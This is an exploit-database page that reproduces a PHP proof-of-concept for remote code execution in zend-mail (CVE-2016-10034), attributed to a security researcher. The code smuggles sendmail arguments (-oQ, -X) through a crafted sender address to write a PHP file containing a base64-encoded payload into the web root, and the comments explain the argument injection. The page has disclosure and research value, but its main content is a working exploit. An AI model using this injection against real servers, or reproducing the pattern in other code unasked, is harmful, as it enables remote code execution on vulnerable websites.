Lucene search
K

Zend Framework / zend-mail 2.4.11 - Remote Code Execution Exploit

🗓️ 31 Dec 2016 00:00:00Reported by Dawid GolunskiType 
zdt
 zdt
🔗 0day.today👁 84 Views

Zend Framework zend-mail 2.4.11 Remote Code Executio

Related
Code
<?php
  
/*
  
Zend Framework < 2.4.11    Remote Code Execution (CVE-2016-10034)
zend-mail < 2.4.11 
zend-mail < 2.7.2 
  
Discovered/Coded by:
  
Dawid Golunski
https://legalhackers.com
  
Full Advisory URL:
https://legalhackers.com/advisories/ZendFramework-Exploit-ZendMail-Remote-Code-Exec-CVE-2016-10034.html
 
Video PoC
https://legalhackers.com/videos/ZendFramework-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10034-PoC.html
 
 
Follow the feed for updates:
 
https://twitter.com/dawid_golunski
 
  
A simple PoC (working on Sendmail MTA)
  
It will inject the following parameters to sendmail command:
  
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-r]
Arg no. 4 == [attacker\]
Arg no. 5 == [-oQ/tmp/]
Arg no. 6 == [-X/var/www/cache/phpcode.php]
Arg no. 7 == ["@email.com]
 
 
 
which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
Note /var/www/cache must be writable by www-data web user.
 
The resulting file will contain the payload passed in the body of the msg:
  
09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<< 
09607 <<< <?php phpinfo(); ?>
09607 <<< 
09607 <<< 
09607 <<< 
  
  
See the full advisory URL for the exploit details.
  
*/
  
  
// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form with sender field
  
$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.com';
// encoded phpinfo() php code
$msg_body = base64_decode("PD9waHAgcGhwaW5mbygpOyA/Pg==");
 
 
 
// ------------------
  
// mail() param injection via the vulnerability in zend-mail
 
 
chdir(dirname(__DIR__));
include 'vendor/Zend/Loader/AutoloaderFactory.php';
 
Zend\Loader\AutoloaderFactory::factory(array(
        'Zend\Loader\StandardAutoloader' => array(
                'autoregister_zf' => true
        )
));
 
Zend\Mvc\Application::init(require 'config/application.php')->run();
 
$message        = new \Zend\Mail\Message();
 
$message->setBody($msg_body);
$message->setFrom($email_from, 'Attacker');
$message->addTo('[email protected]', 'Support');
$message->setSubject('Zend PoC');
 
$transport  = new \Zend\Mail\Transport\Sendmail();
$transport->send($message);
 
?>

#  0day.today [2018-01-03]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation